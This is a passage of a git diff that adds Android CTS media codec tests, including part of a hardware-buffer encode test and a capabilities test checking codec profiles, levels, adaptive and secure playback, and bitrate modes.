+            flags |= MediaCodec.CONFIGURE_FLAG_ENCODE;
+
+            mediaCodec.configure(mediaFormat, null, null, flags);
+            mediaCodec.start();
+            boolean eos = false;
+            boolean signaledEos = false;
+            int frameIndex = 0;
+            while (!eos && !Thread.interrupted()) {
+                MediaCodecBlockModelHelper.SlotEvent event;
+                try {
+                    event = queue.take();
+                } catch (InterruptedException e) {
+                    return MediaCodecBlockModelHelper.Result.FAIL;
+                }
+
+                if (event.input) {
+                    if (signaledEos) {
+                        continue;
+                    }
+                    while (hardwareBuffers.size() <= event.index) {
+                        hardwareBuffers.add(null);
+                    }
+                    HardwareBuffer buffer = hardwareBuffers.get(event.index);
+                    if (buffer == null) {
+                        buffer = HardwareBuffer.create(
+                                kWidth, kHeight, HardwareBuffer.YCBCR_420_888, 1, usage);
+                        hardwareBuffers.set(event.index, buffer);
+                    }
+                    try (Image image = MediaCodec.mapHardwareBuffer(buffer)) {
+                        assertNotNull("CPU readable/writable image must be mappable", image);
+                        assertEquals(kWidth, image.getWidth());
+                        assertEquals(kHeight, image.getHeight());
+                        // For Y plane
+                        int rowSampling = 1;
+                        int colSampling = 1;
+                        for (Image.Plane plane : image.getPlanes()) {
+                            ByteBuffer planeBuffer = plane.getBuffer();
+                            for (int row = 0; row < kHeight / rowSampling; ++row) {
+                                int rowOffset = row * plane.getRowStride();
+                                for (int col = 0; col < kWidth / rowSampling; ++col) {
+                                    planeBuffer.put(
+                                            rowOffset + col * plane.getPixelStride(),
+                                            (byte)(frameIndex * 4));
+                                }
+                            }
+                            // For Cb and Cr planes
+                            rowSampling = 2;
+                            colSampling = 2;
+                        }
+                    }
+
+                    long timestampUs = 1000000l * frameIndex / kFrameRate;
+                    ++frameIndex;
+                    if (frameIndex >= 32) {
+                        signaledEos = true;
+                    }
+                    timestampList.add(timestampUs);
+                    mediaCodec.getQueueRequest(event.index)
+                            .setHardwareBuffer(buffer)
+                            .setPresentationTimeUs(timestampUs)
+                            .setFlags(signaledEos ? MediaCodec.BUFFER_FLAG_END_OF_STREAM : 0)
+                            .queue();
+                } else {
+                    MediaCodec.OutputFrame frame = mediaCodec.getOutputFrame(event.index);
+                    eos = (frame.getFlags() & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0;
+
+                    if (!eos) {
+                        assertNotNull(frame.getLinearBlock());
+                        frame.getLinearBlock().recycle();
+                    }
+
+                    timestampList.remove(frame.getPresentationTimeUs());
+
+                    mediaCodec.releaseOutputBuffer(event.index, false);
+                }
+            }
+
+            if (!timestampList.isEmpty()) {
+                assertTrue("Timestamp should match between input / output: " + timestampList,
+                        timestampList.isEmpty());
+            }
+            return eos ? MediaCodecBlockModelHelper.Result.SUCCESS
+                : MediaCodecBlockModelHelper.Result.FAIL;
+        } catch (IOException e) {
+            throw new RuntimeException("error reading input resource", e);
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        } finally {
+            if (mediaCodec != null) {
+                mediaCodec.stop();
+                mediaCodec.release();
+            }
+            for (HardwareBuffer buffer : hardwareBuffers) {
+                if (buffer != null) {
+                    buffer.close();
+                }
+            }
+        }
+    }
+
+    private MediaCodecBlockModelHelper.Result runDecodeShortVideo(
+            String inputResource,
+            long lastBufferTimestampUs,
+            boolean obtainBlockForEachBuffer) {
+        return MediaCodecBlockModelHelper.runDecodeShortVideo(
+                getMediaExtractorForMimeType(inputResource, "video/"),
+                lastBufferTimestampUs, obtainBlockForEachBuffer, null, null, null);
+    }
+
+    private static MediaExtractor getMediaExtractorForMimeType(final String resource,
+            String mimeTypePrefix) {
+        MediaExtractor mediaExtractor = new MediaExtractor();
+        try (AssetFileDescriptor afd = getAssetFileDescriptorFor(resource)) {
+            mediaExtractor.setDataSource(
+                    afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        }
+        int trackIndex;
+        for (trackIndex = 0; trackIndex < mediaExtractor.getTrackCount(); trackIndex++) {
+            MediaFormat trackMediaFormat = mediaExtractor.getTrackFormat(trackIndex);
+            if (trackMediaFormat.getString(MediaFormat.KEY_MIME).startsWith(mimeTypePrefix)) {
+                mediaExtractor.selectTrack(trackIndex);
+                break;
+            }
+        }
+        if (trackIndex == mediaExtractor.getTrackCount()) {
+            throw new IllegalStateException("couldn't get a video track");
+        }
+
+        return mediaExtractor;
+    }
+}
diff --git a/tests/tests/media/codec/src/android/media/codec/cts/MediaCodecCapabilitiesTest.java b/tests/tests/media/codec/src/android/media/codec/cts/MediaCodecCapabilitiesTest.java
new file mode 100644
index 0000000..91dcf3a
--- /dev/null
+++ b/tests/tests/media/codec/src/android/media/codec/cts/MediaCodecCapabilitiesTest.java
@@ -0,0 +1,1006 @@
+/*
+ * Copyright (C) 2013 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.codec.cts;
+
+import android.app.ActivityManager;
+import android.content.Context;
+import android.media.MediaCodec;
+import android.media.MediaCodecInfo;
+import android.media.MediaCodecInfo.AudioCapabilities;
+import android.media.MediaCodecInfo.CodecCapabilities;
+import android.media.MediaCodecInfo.CodecProfileLevel;
+import android.media.MediaCodecInfo.VideoCapabilities;
+import static android.media.MediaCodecInfo.CodecProfileLevel.*;
+import android.media.MediaCodecList;
+import android.media.MediaFormat;
+import static android.media.MediaFormat.MIMETYPE_VIDEO_AVC;
+import static android.media.MediaFormat.MIMETYPE_VIDEO_H263;
+import static android.media.MediaFormat.MIMETYPE_VIDEO_HEVC;
+import static android.media.MediaFormat.MIMETYPE_VIDEO_MPEG4;
+import static android.media.MediaFormat.MIMETYPE_VIDEO_VP9;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.media.cts.MediaPlayerTestBase;
+import android.platform.test.annotations.AppModeFull;
+import android.util.Log;
+import android.util.Range;
+import android.util.Size;
+
+import androidx.annotation.CallSuper;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.DynamicConfigDeviceSide;
+import com.android.compatibility.common.util.MediaUtils;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.util.HashSet;
+import java.util.Set;
+import java.util.Vector;
+
+/**
+ * Basic validation test of data returned by MediaCodeCapabilities.
+ */
+@AppModeFull(reason = "Dynamic config disabled.")
+@RunWith(AndroidJUnit4.class)
+public class MediaCodecCapabilitiesTest extends MediaPlayerTestBase {
+
+    private static final String TAG = "MediaCodecCapabilitiesTest";
+    private static final int PLAY_TIME_MS = 30000;
+    private static final int TIMEOUT_US = 1000000;  // 1 sec
+    private static final int IFRAME_INTERVAL = 10;          // 10 seconds between I-frames
+
+    private final MediaCodecList mAllCodecs =
+            new MediaCodecList(MediaCodecList.ALL_CODECS);
+    private final MediaCodecInfo[] mAllInfos =
+            mAllCodecs.getCodecInfos();
+
+    private static final String AVC_BASELINE_12_KEY =
+            "media_codec_capabilities_test_avc_baseline12";
+    private static final String AVC_BASELINE_30_KEY =
+            "media_codec_capabilities_test_avc_baseline30";
+    private static final String AVC_HIGH_31_KEY = "media_codec_capabilities_test_avc_high31";
+    private static final String AVC_HIGH_40_KEY = "media_codec_capabilities_test_avc_high40";
+    private static final String MODULE_NAME = "CtsMediaCodecTestCases";
+    private DynamicConfigDeviceSide dynamicConfig;
+
+    @Before
+    @Override
+    public void setUp() throws Throwable {
+        super.setUp();
+        dynamicConfig = new DynamicConfigDeviceSide(MODULE_NAME);
+    }
+
+    @After
+    @Override
+    public void tearDown() {
+        super.tearDown();
+    }
+
+    // Android device implementations with H.264 encoders, MUST support Baseline Profile Level 3.
+    // SHOULD support Main Profile/ Level 4, if supported the device must also support Main
+    // Profile/Level 4 decoding.
+    @Test
+    public void testH264EncoderProfileAndLevel() throws Exception {
+        if (!MediaUtils.checkEncoder(MIMETYPE_VIDEO_AVC)) {
+            return; // skip
+        }
+
+        assertTrue(
+                "H.264 must support Baseline Profile Level 3",
+                hasEncoder(MIMETYPE_VIDEO_AVC, AVCProfileBaseline, AVCLevel3));
+
+        if (hasEncoder(MIMETYPE_VIDEO_AVC, AVCProfileMain, AVCLevel4)) {
+            assertTrue(
+                    "H.264 decoder must support Main Profile Level 4 if it can encode it",
+                    hasDecoder(MIMETYPE_VIDEO_AVC, AVCProfileMain, AVCLevel4));
+        }
+    }
+
+    // Android device implementations with H.264 decoders, MUST support Baseline Profile Level 3.
+    // Android Television Devices MUST support High Profile Level 4.2.
+    @Test
+    public void testH264DecoderProfileAndLevel() throws Exception {
+        if (!MediaUtils.checkDecoder(MIMETYPE_VIDEO_AVC)) {
+            return; // skip
+        }
+
+        assertTrue(
+                "H.264 must support Baseline Profile Level 3",
+                hasDecoder(MIMETYPE_VIDEO_AVC, AVCProfileBaseline, AVCLevel3));
+
+        if (isTv()) {
+            assertTrue(
+                    "H.264 must support High Profile Level 4.2 on TV",
+                    checkDecoder(MIMETYPE_VIDEO_AVC, AVCProfileHigh, AVCLevel42));
+        }
+    }
+
+    // Android device implementations with H.263 encoders, MUST support Level 45.
+    @Test
+    public void testH263EncoderProfileAndLevel() throws Exception {
+        if (!MediaUtils.checkEncoder(MIMETYPE_VIDEO_H263)) {
+            return; // skip
+        }
+
+        assertTrue(
+                "H.263 must support Level 45",
+                hasEncoder(MIMETYPE_VIDEO_H263, MPEG4ProfileSimple, H263Level45));
+    }
+
+    // Android device implementations with H.263 decoders, MUST support Level 30.
+    @Test
+    public void testH263DecoderProfileAndLevel() throws Exception {
+        if (!MediaUtils.checkDecoder(MIMETYPE_VIDEO_H263)) {
+            return; // skip
+        }
+
+        assertTrue(
+                "H.263 must support Level 30",
+                hasDecoder(MIMETYPE_VIDEO_H263, MPEG4ProfileSimple, H263Level30));
+    }
+
+    // Android device implementations with MPEG-4 decoders, MUST support Simple Profile Level 3.
+    @Test
+    public void testMpeg4DecoderProfileAndLevel() throws Exception {
+        if (!MediaUtils.checkDecoder(MIMETYPE_VIDEO_MPEG4)) {
+            return; // skip
+        }
+
+        assertTrue(
+                "MPEG-4 must support Simple Profile Level 3",
+                hasDecoder(MIMETYPE_VIDEO_MPEG4, MPEG4ProfileSimple, MPEG4Level3));
+    }
+
+    // Android device implementations, when supporting H.265 codec MUST support the Main Profile
+    // Level 3 Main tier.
+    // Android Television Devices MUST support the Main Profile Level 4.1 Main tier.
+    // When the UHD video decoding profile is supported, it MUST support Main10 Level 5 Main
+    // Tier profile.
+    @Test
+    public void testH265DecoderProfileAndLevel() throws Exception {
+        if (!MediaUtils.checkDecoder(MIMETYPE_VIDEO_HEVC)) {
+            return; // skip
+        }
+
+        assertTrue(
+                "H.265 must support Main Profile Main Tier Level 3",
+                hasDecoder(MIMETYPE_VIDEO_HEVC, HEVCProfileMain, HEVCMainTierLevel3));
+
+        if (isTv()) {
+            assertTrue(
+                    "H.265 must support Main Profile Main Tier Level 4.1 on TV",
+                    hasDecoder(MIMETYPE_VIDEO_HEVC, HEVCProfileMain, HEVCMainTierLevel41));
+        }
+
+        if (isTv() && MediaUtils.canDecodeVideo(MIMETYPE_VIDEO_HEVC, 3840, 2160, 30)) {
+            assertTrue(
+                    "H.265 must support Main10 Profile Main Tier Level 5 if UHD is supported",
+                    hasDecoder(MIMETYPE_VIDEO_HEVC, HEVCProfileMain10, HEVCMainTierLevel5));
+        }
+    }
+
+    @Test
+    public void testVp9DecoderCapabilitiesOnTv() throws Exception {
+        if (isTv() && MediaUtils.hasHardwareCodec(MIMETYPE_VIDEO_VP9, /* encode = */ false)) {
+            // CDD [5.3.7.4/T-1-1]
+            assertTrue(MediaUtils.canDecodeVideo(MIMETYPE_VIDEO_VP9, 1920, 1080, 60 /* fps */,
+                    VP9Profile0, null, null));
+            if (MediaUtils.canDecodeVideo(MIMETYPE_VIDEO_VP9, 3840, 2160, 60 /* fps */)) {
+                // CDD [5.3.7.5/T-2-1]
+                assertTrue(MediaUtils.canDecodeVideo(MIMETYPE_VIDEO_VP9, 3840, 2160, 60 /* fps */,
+                        VP9Profile0, null, null));
+            }
+        }
+    }
+
+    @Test
+    public void testAvcBaseline1() throws Exception {
+        if (!checkDecoder(MIMETYPE_VIDEO_AVC, AVCProfileBaseline, AVCLevel1)) {
+            return; // skip
+        }
+
+        // TODO: add a test stream
+        MediaUtils.skipTest(TAG, "no test stream");
+    }
+
+    @Test
+    public void testAvcBaseline12() throws Exception {
+        if (!checkDecoder(MIMETYPE_VIDEO_AVC, AVCProfileBaseline, AVCLevel12)) {
+            return; // skip
+        }
+
+        if (checkDecodeWithDefaultPlayer(MIMETYPE_VIDEO_AVC, AVCProfileBaseline, AVCLevel12)) {
+            String urlString = dynamicConfig.getValue(AVC_BASELINE_12_KEY);
+            playVideoWithRetries(urlString, 256, 144, PLAY_TIME_MS);
+        }
+    }
+
+    @Test
+    public void testAvcBaseline30() throws Exception {
+        if (!checkDecoder(MIMETYPE_VIDEO_AVC, AVCProfileBaseline, AVCLevel3)) {
+            return; // skip
+        }
+
+        if (checkDecodeWithDefaultPlayer(MIMETYPE_VIDEO_AVC, AVCProfileBaseline, AVCLevel3)) {
+            String urlString = dynamicConfig.getValue(AVC_BASELINE_30_KEY);
+            playVideoWithRetries(urlString, 640, 360, PLAY_TIME_MS);
+        }
+    }
+
+    @Test
+    public void testAvcHigh31() throws Exception {
+        if (!checkDecoder(MIMETYPE_VIDEO_AVC, AVCProfileHigh, AVCLevel31)) {
+            return; // skip
+        }
+
+        if (checkDecodeWithDefaultPlayer(MIMETYPE_VIDEO_AVC, AVCProfileHigh, AVCLevel31)) {
+            String urlString = dynamicConfig.getValue(AVC_HIGH_31_KEY);
+            playVideoWithRetries(urlString, 1280, 720, PLAY_TIME_MS);
+        }
+    }
+
+    @Test
+    public void testAvcHigh40() throws Exception {
+        if (!checkDecoder(MIMETYPE_VIDEO_AVC, AVCProfileHigh, AVCLevel4)) {
+            return; // skip
+        }
+        if (ApiLevelUtil.isBefore(18)) {
+            MediaUtils.skipTest(TAG, "fragmented mp4 not supported");
+            return;
+        }
+
+        if (checkDecodeWithDefaultPlayer(MIMETYPE_VIDEO_AVC, AVCProfileHigh, AVCLevel4)) {
+            String urlString = dynamicConfig.getValue(AVC_HIGH_40_KEY);
+            playVideoWithRetries(urlString, 1920, 1080, PLAY_TIME_MS);
+        }
+    }
+
+    @Test
+    public void testHevcMain1() throws Exception {
+        if (!checkDecoder(MIMETYPE_VIDEO_HEVC, HEVCProfileMain, HEVCMainTierLevel1)) {
+            return; // skip
+        }
+
+        // TODO: add a test stream
+        MediaUtils.skipTest(TAG, "no test stream");
+    }
+
+    @Test
+    public void testHevcMain2() throws Exception {
+        if (!checkDecoder(MIMETYPE_VIDEO_HEVC, HEVCProfileMain, HEVCMainTierLevel2)) {
+            return; // skip
+        }
+
+        // TODO: add a test stream
+        MediaUtils.skipTest(TAG, "no test stream");
+    }
+
+    @Test
+    public void testHevcMain21() throws Exception {
+        if (!checkDecoder(MIMETYPE_VIDEO_HEVC, HEVCProfileMain, HEVCMainTierLevel21)) {
+            return; // skip
+        }
+
+        // TODO: add a test stream
+        MediaUtils.skipTest(TAG, "no test stream");
+    }
+
+    @Test
+    public void testHevcMain3() throws Exception {
+        if (!checkDecoder(MIMETYPE_VIDEO_HEVC, HEVCProfileMain, HEVCMainTierLevel3)) {
+            return; // skip
+        }
+
+        // TODO: add a test stream
+        MediaUtils.skipTest(TAG, "no test stream");
+    }
+
+    @Test
+    public void testHevcMain31() throws Exception {
+        if (!checkDecoder(MIMETYPE_VIDEO_HEVC, HEVCProfileMain, HEVCMainTierLevel31)) {
+            return; // skip
+        }
+
+        // TODO: add a test stream
+        MediaUtils.skipTest(TAG, "no test stream");
+    }
+
+    @Test
+    public void testHevcMain4() throws Exception {
+        if (!checkDecoder(MIMETYPE_VIDEO_HEVC, HEVCProfileMain, HEVCMainTierLevel4)) {
+            return; // skip
+        }
+
+        // TODO: add a test stream
+        MediaUtils.skipTest(TAG, "no test stream");
+    }
+
+    @Test
+    public void testHevcMain41() throws Exception {
+        if (!checkDecoder(MIMETYPE_VIDEO_HEVC, HEVCProfileMain, HEVCMainTierLevel41)) {
+            return; // skip
+        }
+
+        // TODO: add a test stream
+        MediaUtils.skipTest(TAG, "no test stream");
+    }
+
+    @Test
+    public void testHevcMain5() throws Exception {
+        if (!checkDecoder(MIMETYPE_VIDEO_HEVC, HEVCProfileMain, HEVCMainTierLevel5)) {
+            return; // skip
+        }
+
+        // TODO: add a test stream
+        MediaUtils.skipTest(TAG, "no test stream");
+    }
+
+    @Test
+    public void testHevcMain51() throws Exception {
+        if (!checkDecoder(MIMETYPE_VIDEO_HEVC, HEVCProfileMain, HEVCMainTierLevel51)) {
+            return; // skip
+        }
+
+        // TODO: add a test stream
+        MediaUtils.skipTest(TAG, "no test stream");
+    }
+
+    private boolean checkDecoder(String mime, int profile, int level) {
+        if (!hasDecoder(mime, profile, level)) {
+            MediaUtils.skipTest(TAG, "no " + mime + " decoder for profile "
+                    + profile + " and level " + level);
+            return false;
+        }
+        return true;
+    }
+
+    private boolean hasDecoder(String mime, int profile, int level) {
+        return supports(mime, false /* isEncoder */, profile, level, false /* defaultOnly */);
+    }
+
+    private boolean hasEncoder(String mime, int profile, int level) {
+        return supports(mime, true /* isEncoder */, profile, level, false /* defaultOnly */);
+    }
+
+    // Checks whether the default AOSP player can play back a specific profile and level for a
+    // given media type. If it cannot, it automatically logs that the test is skipped.
+    private boolean checkDecodeWithDefaultPlayer(String mime, int profile, int level) {
+        if (!supports(mime, false /* isEncoder */, profile, level, true /* defaultOnly */)) {
+            MediaUtils.skipTest(TAG, "default player cannot test codec");
+            return false;
+        }
+        return true;
+    }
+
+    private boolean supports(
+            String mime, boolean isEncoder, int profile, int level,
+            boolean defaultOnly) {
+        MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+        for (MediaCodecInfo info : mcl.getCodecInfos()) {
+            if (isEncoder != info.isEncoder()) {
+                continue;
+            }
+            try {
+                CodecCapabilities caps = info.getCapabilitiesForType(mime);
+                for (CodecProfileLevel pl : caps.profileLevels) {
+                    if (pl.profile != profile) {
+                        continue;
+                    }
+
+                    // H.263 levels are not completely ordered:
+                    // Level45 support only implies Level10 support
+                    if (mime.equalsIgnoreCase(MIMETYPE_VIDEO_H263)) {
+                        if (pl.level != level && pl.level == H263Level45 && level > H263Level10) {
+                            continue;
+                        }
+                    }
+                    if (pl.level >= level) {
+                        return true;
+                    }
+                }
+                // the default AOSP player picks the first codec for a specific mime type, so
+                // we can stop after the first one found
+                if (defaultOnly) {
+                    return false;
+                }
+            } catch (IllegalArgumentException e) {
+            }
+        }
+        return false;
+    }
+
+    private boolean isVideoMime(String mime) {
+        return mime.toLowerCase().startsWith("video/");
+    }
+
+    private Set<String> requiredAdaptiveFormats() {
+        Set<String> adaptiveFormats = new HashSet<String>();
+        adaptiveFormats.add(MediaFormat.MIMETYPE_VIDEO_AVC);
+        adaptiveFormats.add(MediaFormat.MIMETYPE_VIDEO_HEVC);
+        adaptiveFormats.add(MediaFormat.MIMETYPE_VIDEO_VP8);
+        adaptiveFormats.add(MediaFormat.MIMETYPE_VIDEO_VP9);
+        return adaptiveFormats;
+    }
+
+    @Test
+    public void testHaveAdaptiveVideoDecoderForAllSupportedFormats() {
+        Set<String> supportedFormats = new HashSet<String>();
+        boolean skipped = true;
+
+        // gather all supported video formats
+        for (MediaCodecInfo info : mAllInfos) {
+            if (info.isEncoder()) {
+                continue;
+            }
+            for (String mime : info.getSupportedTypes()) {
+                if (isVideoMime(mime)) {
+                    supportedFormats.add(mime);
+                }
+            }
+        }
+
+        // limit to CDD-required formats for now
+        supportedFormats.retainAll(requiredAdaptiveFormats());
+
+        // check if there is an adaptive decoder for each
+        for (String mime : supportedFormats) {
+            skipped = false;
+            // implicit assumption that QCIF video is always valid.
+            MediaFormat format = MediaFormat.createVideoFormat(mime, 176, 144);
+            format.setFeatureEnabled(CodecCapabilities.FEATURE_AdaptivePlayback, true);
+            String codec = mAllCodecs.findDecoderForFormat(format);
+            assertTrue(
+                    "could not find adaptive decoder for " + mime, codec != null);
+        }
+        if (skipped) {
+            MediaUtils.skipTest("no video decoders that are required to be adaptive found");
+        }
+    }
+
+    @Test
+    public void testAllVideoDecodersAreAdaptive() {
+        Set<String> adaptiveFormats = requiredAdaptiveFormats();
+        boolean skipped = true;
+        for (MediaCodecInfo info : mAllInfos) {
+            if (info.isEncoder()) {
+                continue;
+            }
+            for (String mime : info.getSupportedTypes()) {
+                if (!isVideoMime(mime)
+                        // limit to CDD-required formats for now
+                        || !adaptiveFormats.contains(mime)) {
+                    continue;
+                }
+                skipped = false;
+                CodecCapabilities caps = info.getCapabilitiesForType(mime);
+                assertTrue(
+                    info.getName() + " is not adaptive for " + mime,
+                    caps.isFeatureSupported(CodecCapabilities.FEATURE_AdaptivePlayback));
+            }
+        }
+        if (skipped) {
+            MediaUtils.skipTest("no video decoders that are required to be adaptive found");
+        }
+    }
+
+    private MediaFormat createReasonableVideoFormat(
+            CodecCapabilities caps, String mime, boolean encoder, int width, int height) {
+        VideoCapabilities vidCaps = caps.getVideoCapabilities();
+        MediaFormat format = MediaFormat.createVideoFormat(mime, width, height);
+        if (encoder) {
+            // bitrate
+            int maxWidth = vidCaps.getSupportedWidths().getUpper();
+            int maxHeight = vidCaps.getSupportedHeightsFor(width).getUpper();
+            int maxRate = vidCaps.getSupportedFrameRatesFor(width, height).getUpper().intValue();
+            int bitrate = vidCaps.getBitrateRange().clamp(
+                    (int)(vidCaps.getBitrateRange().getUpper()
+                            / Math.sqrt((double)maxWidth * maxHeight / width / height)));
+            Log.i(TAG, "reasonable bitrate for " + width + "x" + height + "@" + maxRate
+                    + " " + mime + " = " + bitrate);
+            format.setInteger(format.KEY_BIT_RATE, bitrate);
+            format.setInteger(format.KEY_FRAME_RATE, maxRate);
+            format.setInteger(format.KEY_I_FRAME_INTERVAL, IFRAME_INTERVAL);
+        }
+        return format;
+    }
+
+    @Test
+    public void testSecureCodecsAdvertiseSecurePlayback() throws IOException {
+        boolean skipped = true;
+        for (MediaCodecInfo info : mAllInfos) {
+            boolean isEncoder = info.isEncoder();
+            if (isEncoder || !info.getName().endsWith(".secure")) {
+                continue;
+            }
+            for (String mime : info.getSupportedTypes()) {
+                if (!isVideoMime(mime)) {
+                    continue;
+                }
+                skipped = false;
+                CodecCapabilities caps = info.getCapabilitiesForType(mime);
+                assertTrue(
+                        info.getName() + " does not advertise secure playback",
+                        caps.isFeatureSupported(CodecCapabilities.FEATURE_SecurePlayback));
+            }
+        }
+        if (skipped) {
+            MediaUtils.skipTest("no video decoders found ending in .secure");
+        }
+    }
+
+    private Size getVideoSizeForTest(VideoCapabilities vidCaps) {
+        Size size = new Size(176, 144);  // Use QCIF by default.
+        if (vidCaps != null && !vidCaps.isSizeSupported(size.getWidth(), size.getHeight())) {
+            int minWidth = vidCaps.getSupportedWidths().getLower();
+            int minHeight = vidCaps.getSupportedHeightsFor(minWidth).getLower();
+            size = new Size(minWidth, minHeight);
+        }
+        return size;
+    }
+
+    private MediaFormat createVideoFormatForBitrateMode(String mime, int width, int height,
+            int bitrateMode, CodecCapabilities caps) {
+        MediaCodecInfo.EncoderCapabilities encoderCaps = caps.getEncoderCapabilities();
+        if (!encoderCaps.isBitrateModeSupported(bitrateMode)) {
+            return null;
+        }
+
+        VideoCapabilities vidCaps = caps.getVideoCapabilities();
+        MediaFormat format = MediaFormat.createVideoFormat(mime, width, height);
+
+        // bitrate
+        int maxWidth = vidCaps.getSupportedWidths().getUpper();
+        int maxHeight = vidCaps.getSupportedHeightsFor(width).getUpper();
+        int maxRate = vidCaps.getSupportedFrameRatesFor(width, height).getUpper().intValue();
+        format.setInteger(MediaFormat.KEY_BITRATE_MODE, bitrateMode);
+        if (bitrateMode == MediaCodecInfo.EncoderCapabilities.BITRATE_MODE_CQ) {
+            int quality = encoderCaps.getQualityRange().getLower();
+            Log.i(TAG, "reasonable quality for " + width + "x" + height + "@" + maxRate
+                    + " " + mime + " = " + quality);
+            format.setInteger(MediaFormat.KEY_QUALITY, quality);
+        } else {
+            int bitrate = vidCaps.getBitrateRange().clamp(
+                    (int)(vidCaps.getBitrateRange().getUpper()
+                            / Math.sqrt((double)maxWidth * maxHeight / width / height)));
+            Log.i(TAG, "reasonable bitrate for " + width + "x" + height + "@" + maxRate
+                    + " " + mime + " = " + bitrate + " mode " + bitrateMode);
+            format.setInteger(MediaFormat.KEY_BIT_RATE, bitrate);
+        }
+        format.setInteger(MediaFormat.KEY_FRAME_RATE, maxRate);
+        format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, IFRAME_INTERVAL);
+        format.setInteger(MediaFormat.KEY_COLOR_FORMAT,
+                CodecCapabilities.COLOR_FormatYUV420Flexible);
+
+        return format;
+    }
+
+    @Test
+    public void testAllAdvertisedVideoEncoderBitrateModes() throws IOException {
+        boolean skipped = true;
+        final int[] modes = {
+                MediaCodecInfo.EncoderCapabilities.BITRATE_MODE_CQ,
+                MediaCodecInfo.EncoderCapabilities.BITRATE_MODE_VBR,
+                MediaCodecInfo.EncoderCapabilities.BITRATE_MODE_CBR
+        };
+        for (MediaCodecInfo info : mAllInfos) {
+            if (!info.isEncoder()) {
+                continue;
+            }
+
+            for (String mime: info.getSupportedTypes()) {
+                boolean isVideo = isVideoMime(mime);
+                if (!isVideo) {
+                    continue;
+                }
+                CodecCapabilities caps = info.getCapabilitiesForType(mime);
+                Size size = getVideoSizeForTest(caps.getVideoCapabilities());
+                skipped = false;
+
+                int numSupportedModes = 0;
+                for (int mode : modes) {
+                    MediaFormat format = createVideoFormatForBitrateMode(
+                            mime, size.getWidth(), size.getHeight(), mode, caps);
+                    if (format == null) {
+                        continue;
+                    }
+                    MediaCodec codec = null;
+                    try {
+                        codec = MediaCodec.createByCodecName(info.getName());
+                        codec.configure(format, null /* surface */, null /* crypto */,
+                                MediaCodec.CONFIGURE_FLAG_ENCODE);
+                    } finally {
+                        if (codec != null) {
+                            codec.release();
+                        }
+                    }
+                    numSupportedModes++;
+                }
+                assertTrue(info.getName() + " has no supported bitrate mode",
+                        numSupportedModes > 0);
+            }
+        }
+        if (skipped) {
+            MediaUtils.skipTest("no video encoders found");
+        }
+    }
+
+    @Test
+    public void testAllNonTunneledVideoCodecsSupportFlexibleYUV() throws IOException {
+        boolean skipped = true;
+        for (MediaCodecInfo info : mAllInfos) {
+            boolean isEncoder = info.isEncoder();
+            for (String mime: info.getSupportedTypes()) {
+                if (!isVideoMime(mime)) {
+                    continue;
+                }
+                CodecCapabilities caps = info.getCapabilitiesForType(mime);
+                if (caps.isFeatureRequired(CodecCapabilities.FEATURE_TunneledPlayback)
+                        || caps.isFeatureRequired(CodecCapabilities.FEATURE_SecurePlayback)) {
+                    continue;
+                }
+                skipped = false;
+                boolean found = false;
+                for (int c : caps.colorFormats) {
+                    if (c == caps.COLOR_FormatYUV420Flexible) {
+                        found = true;
+                        break;
+                    }
+                }
+                assertTrue(
+                    info.getName() + " does not advertise COLOR_FormatYUV420Flexible",
+                    found);
+
+                MediaCodec codec = null;
+                MediaFormat format = null;
+                try {
+                    Size size = getVideoSizeForTest(caps.getVideoCapabilities());
+                    codec = MediaCodec.createByCodecName(info.getName());
+                    format = createReasonableVideoFormat(
+                            caps, mime, isEncoder, size.getWidth(), size.getHeight());
+                    format.setInteger(
+                            MediaFormat.KEY_COLOR_FORMAT,
+                            caps.COLOR_FormatYUV420Flexible);
+
+                    codec.configure(format, null /* surface */, null /* crypto */,
+                            isEncoder ? codec.CONFIGURE_FLAG_ENCODE : 0);
+                    MediaFormat configuredFormat =
+                            isEncoder ? codec.getInputFormat() : codec.getOutputFormat();
+                    Log.d(TAG, "color format is " + configuredFormat.getInteger(
+                            MediaFormat.KEY_COLOR_FORMAT));
+                    if (isEncoder) {
+                        codec.start();
+                        int ix = codec.dequeueInputBuffer(TIMEOUT_US);
+                        assertNotNull(
+                                info.getName() + " encoder has non-flexYUV input buffer #" + ix,
+                                codec.getInputImage(ix));
+                    } else {
+                        // TODO: test these on various decoders (need test streams)
+                    }
+                } finally {
+                    if (codec != null) {
+                        codec.release();
+                    }
+                }
+            }
+        }
+        if (skipped) {
+            MediaUtils.skipTest("no non-tunneled/non-secure video decoders found");
+        }
+    }
+
+    private static MediaFormat createMinFormat(String mime, CodecCapabilities caps) {
+        MediaFormat format;
+        if (caps.getVideoCapabilities() != null) {
+            VideoCapabilities vcaps = caps.getVideoCapabilities();
+            int minWidth = vcaps.getSupportedWidths().getLower();
+            int minHeight = vcaps.getSupportedHeightsFor(minWidth).getLower();
+            int minBitrate = vcaps.getBitrateRange().getLower();
+            int minFrameRate = Math.max(vcaps.getSupportedFrameRatesFor(minWidth, minHeight)
+                    .getLower().intValue(), 1);
+            format = MediaFormat.createVideoFormat(mime, minWidth, minHeight);
+            format.setInteger(MediaFormat.KEY_COLOR_FORMAT, caps.colorFormats[0]);
+            format.setInteger(MediaFormat.KEY_BIT_RATE, minBitrate);
+            format.setInteger(MediaFormat.KEY_FRAME_RATE, minFrameRate);
+            format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, IFRAME_INTERVAL);
